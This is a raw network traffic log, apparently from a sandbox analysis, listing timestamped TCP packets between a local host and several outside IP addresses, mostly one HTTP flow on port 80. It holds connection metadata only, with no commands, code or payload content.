Nov 18, 2024 13:29:32.828177929 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.828197956 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.828274965 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.828294992 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.828316927 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.828350067 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.828397989 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.828413010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.828423023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.828444958 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.828471899 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.828599930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.828610897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.828622103 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.828633070 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.828646898 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.828675032 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.908724070 CET	443	49806	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.908746958 CET	443	49806	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.908773899 CET	443	49806	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.908809900 CET	49806	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.908848047 CET	443	49806	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.908863068 CET	49806	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.945467949 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.945501089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.945528030 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.945575953 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.945589066 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.945600986 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.945637941 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.945703030 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.945713997 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.945725918 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.945735931 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.945739031 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.945768118 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.945898056 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.945909977 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.945945024 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.945971012 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.946005106 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.946022987 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.946029902 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.946054935 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.946078062 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.946156025 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.946166039 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.946177959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.946187973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.946188927 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.946206093 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.946206093 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.946219921 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.946230888 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.946247101 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.946397066 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.946449995 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.946487904 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.946500063 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.946532011 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.946607113 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.946618080 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.946629047 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.946651936 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.946679115 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.946752071 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.946763992 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.946774960 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.946785927 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.946820974 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.946908951 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.946921110 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.946932077 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.946964025 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.946990967 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.947046041 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.947089911 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.947119951 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.947132111 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.947141886 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.947153091 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.947163105 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.947176933 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.947211981 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.947351933 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.947432041 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.947443008 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.947458982 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.947487116 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.947551012 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.947561979 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.947573900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.947602987 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.947617054 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.949004889 CET	49806	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.967073917 CET	443	49810	3.170.115.43	192.168.2.8
Nov 18, 2024 13:29:32.967348099 CET	49810	443	192.168.2.8	3.170.115.43
Nov 18, 2024 13:29:32.967375040 CET	443	49810	3.170.115.43	192.168.2.8
Nov 18, 2024 13:29:32.967721939 CET	443	49810	3.170.115.43	192.168.2.8
Nov 18, 2024 13:29:32.968099117 CET	49810	443	192.168.2.8	3.170.115.43
Nov 18, 2024 13:29:32.968158960 CET	443	49810	3.170.115.43	192.168.2.8
Nov 18, 2024 13:29:32.968266010 CET	49810	443	192.168.2.8	3.170.115.43
Nov 18, 2024 13:29:32.983448982 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.983464956 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.983510971 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.983530998 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.983567953 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.983572960 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.983587027 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.983597994 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.983613968 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.983642101 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.983669043 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.983680010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.983704090 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.983715057 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.983721972 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.983736992 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.983761072 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.011514902 CET	49810	443	192.168.2.8	3.170.115.43
Nov 18, 2024 13:29:33.011529922 CET	443	49810	3.170.115.43	192.168.2.8
Nov 18, 2024 13:29:33.023087978 CET	443	49806	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:33.023113966 CET	443	49806	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:33.023169041 CET	49806	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:33.023196936 CET	443	49806	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:33.023224115 CET	49806	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:33.023240089 CET	49806	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:33.052964926 CET	443	49800	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:33.053634882 CET	49800	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:33.053697109 CET	443	49800	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:33.053777933 CET	49800	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:33.063519001 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.063534021 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.063545942 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.063590050 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.063587904 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.063605070 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.063617945 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.063627005 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.063627958 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.063653946 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.063662052 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.063683987 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.063719034 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.063746929 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.063759089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.063788891 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.063808918 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.063854933 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.063905954 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.063946962 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.063962936 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.063975096 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.063985109 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.064011097 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.064044952 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.064121008 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.064131975 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.064142942 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.064152956 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.064165115 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.064192057 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.064373016 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.064385891 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.064424992 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.064451933 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.064464092 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.064475060 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.064501047 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.064511061 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.064580917 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.064594030 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.064604044 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.064620018 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.064630985 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.064649105 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.064713955 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.064721107 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.064728022 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.064753056 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.064763069 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.064847946 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.064861059 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.064872026 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.064882994 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.064889908 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.064908981 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.064930916 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.065025091 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.065037966 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.065048933 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.065062046 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.065073013 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.065100908 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.065233946 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.065267086 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.065278053 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.065279007 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.065304995 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.065324068 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.065356970 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.065401077 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.065404892 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.065416098 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.065439939 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.065453053 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.065529108 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.065541029 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.065550089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.065562010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.065577984 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.065607071 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.065733910 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.065746069 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.065757036 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.065768003 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.065774918 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.065804958 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.065871954 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.065886021 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.065922022 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.101524115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.101537943 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.101583958 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.101624012 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.101628065 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.101675034 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.101687908 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.101711035 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.101727962 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.101804972 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.101818085 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.101830959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.101839066 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.101866007 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.137192011 CET	443	49810	3.170.115.43	192.168.2.8
Nov 18, 2024 13:29:33.137269020 CET	443	49810	3.170.115.43	192.168.2.8
Nov 18, 2024 13:29:33.137388945 CET	49810	443	192.168.2.8	3.170.115.43
Nov 18, 2024 13:29:33.138057947 CET	49810	443	192.168.2.8	3.170.115.43
Nov 18, 2024 13:29:33.138079882 CET	443	49810	3.170.115.43	192.168.2.8
Nov 18, 2024 13:29:33.138088942 CET	49810	443	192.168.2.8	3.170.115.43
Nov 18, 2024 13:29:33.138144016 CET	49810	443	192.168.2.8	3.170.115.43
Nov 18, 2024 13:29:33.138422012 CET	443	49806	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:33.138446093 CET	443	49806	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:33.138493061 CET	49806	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:33.138525009 CET	443	49806	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:33.138537884 CET	49806	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:33.138586998 CET	49806	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:33.147409916 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.147423983 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.147478104 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.182094097 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.182146072 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.182159901 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.182158947 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.182195902 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.182257891 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.182269096 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.182281017 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.182291031 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.182307959 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.182318926 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.182348013 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.182487011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.182499886 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.182512045 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.182523012 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.182533979 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.182544947 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.182545900 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.182554007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.182558060 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.182590008 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.182842970 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.182924986 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.182924986 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.182940006 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.182951927 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.182962894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.182974100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.182984114 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.183013916 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.183166981 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.183180094 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.183228970 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.183245897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.183259964 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.183269978 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.183283091 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.183291912 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.183327913 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.183464050 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.183475018 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.183515072 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.183533907 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.183681965 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.183696032 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.183710098 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.183721066 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.183732033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.183737993 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.183743000 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.183757067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.183765888 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.183765888 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.183784008 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.183810949 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.184005022 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.184024096 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.184034109 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.184045076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.184051037 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.184058905 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.184072018 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.184078932 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.184084892 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.184093952 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.184104919 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.184106112 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.184128046 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.184154034 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.184493065 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.184506893 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.184519053 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.184537888 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.184549093 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.184555054 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.184560061 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.184564114 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.184572935 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.184582949 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.184598923 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.184607029 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.184633970 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.184793949 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.184817076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.184828043 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.184838057 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.184849977 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.184864998 CET	49746	80	192.168.2.8	185.215.113.206
